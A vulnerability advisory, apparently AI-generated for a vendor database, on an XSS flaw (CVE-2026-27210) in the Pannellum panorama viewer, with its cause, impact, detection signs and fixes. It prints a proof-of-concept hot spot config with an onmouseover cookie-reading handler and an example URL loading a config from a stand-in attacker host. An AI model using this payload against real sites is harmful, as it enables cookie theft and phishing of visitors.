
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-27210 is a Cross-Site Scripting (XSS) vulnerability in Pannellum, a lightweight open-source panorama viewer for the web. The flaw exists in the hot spot attributes configuration property, which allowed any HTML attribute — including event handler attributes — to be set without restriction, enabling arbitrary JavaScript execution. It affects Pannellum npm package versions 2.5.0 through 2.5.6 and was disclosed on February 19, 2026, with a patch released in version 2.5.7. The vulnerability carries a CVSS v3.1 score of 6.1 (Medium) and a CVSS v4.0 score of 5.3 (Medium) (GitHub Advisory, Pannellum Advisory).
The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically in the createHotSpot function within src/js/pannellum.js. The vulnerable code called a.setAttribute(key, hs.attributes[key]) without filtering the attribute key, allowing an attacker to inject HTML event handler attributes (e.g., onmouseover, onload) directly into anchor elements rendered in the viewer. Because certain DOM events fire automatically without explicit user clicks, a victim merely visiting a standalone viewer URL (pannellum.htm) that references a malicious JSON config file is sufficient to trigger JavaScript execution — no further interaction is required. The fix in commit 9391ef8 normalizes attribute keys to lowercase, strips non-ASCII characters, and blocks any key starting with on or containing href when escapeHTML is enabled (GitHub Commit, GitHub Advisory).
Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of the website hosting the Pannellum standalone viewer (pannellum.htm). This can be used to replace page content, perform phishing by spoofing the hosting site's appearance, steal session cookies or credentials if the viewer is hosted on a domain shared with authenticated services, and conduct further client-side attacks against visiting users. Confidentiality and integrity of the subsequent (browser) context are both impacted, though the vulnerable system itself (the server) is not directly affected (GitHub Advisory, Pannellum Advisory).
No public exploit code or active in-the-wild exploitation has been reported for CVE-2026-27210. The EPSS score is approximately 0.097% (8th percentile), indicating a low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The vulnerability was independently reported by multiple researchers — luminary (@lumin9ry), Visvge (@Sicclord1/@Visvge), and sutol (@0x5a6163/@SUT0L) — suggesting it was identified through security research rather than active exploitation (GitHub Advisory).
pannellum.htm) on versions 2.5.0–2.5.6, particularly on domains that share cookies with authenticated services.attributes property containing an HTML event handler, for example:{
"default": { "firstScene": "scene1" },
"scenes": {
"scene1": {
"type": "equirectangular",
"panorama": "image.jpg",
"hotSpots": [{
"pitch": 0, "yaw": 0, "type": "info",
"attributes": { "onmouseover": "alert(document.cookie)" }
}]
}
}
}pannellum.htm with the config parameter referencing the malicious JSON file (e.g., https://victim.com/pannellum.htm?config=https://attacker.com/evil.json).victim.com (GitHub Advisory, GitHub Commit).pannellum.htm with a config parameter pointing to an external or unexpected domain (e.g., ?config=https://attacker.com/evil.json); outbound requests from victim browsers to attacker-controlled infrastructure following Pannellum page loads.pannellum.htm accessed with unusual or external config query parameters; browser console logs containing Hot spot attribute skipped. (present only in patched versions, absence may indicate unpatched deployment).node_modules/pannellum/ or equivalent deployment directories.Upgrade the Pannellum npm package to version 2.5.7 or later, which restricts hot spot attribute keys to block event handler attributes and href injection (GitHub Advisory, GitHub Commit). As an immediate workaround, set the Content-Security-Policy HTTP response header to include script-src-attr 'none', which blocks execution of inline event handlers. Additionally, avoid hosting pannellum.htm on any domain that shares authentication cookies with other services to limit the blast radius of any XSS exploitation (Pannellum Advisory).
The vulnerability was independently and simultaneously reported by multiple security researchers — luminary (@lumin9ry), Visvge (@Sicclord1/@Visvge), and sutol (@0x5a6163/@SUT0L) — as well as an unnamed researcher, indicating coordinated responsible disclosure. Red Hat has acknowledged the CVE in their security tracking. No significant broader media coverage or notable community controversy has been identified beyond standard vulnerability database entries (GitHub Advisory, Red Hat CVE).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."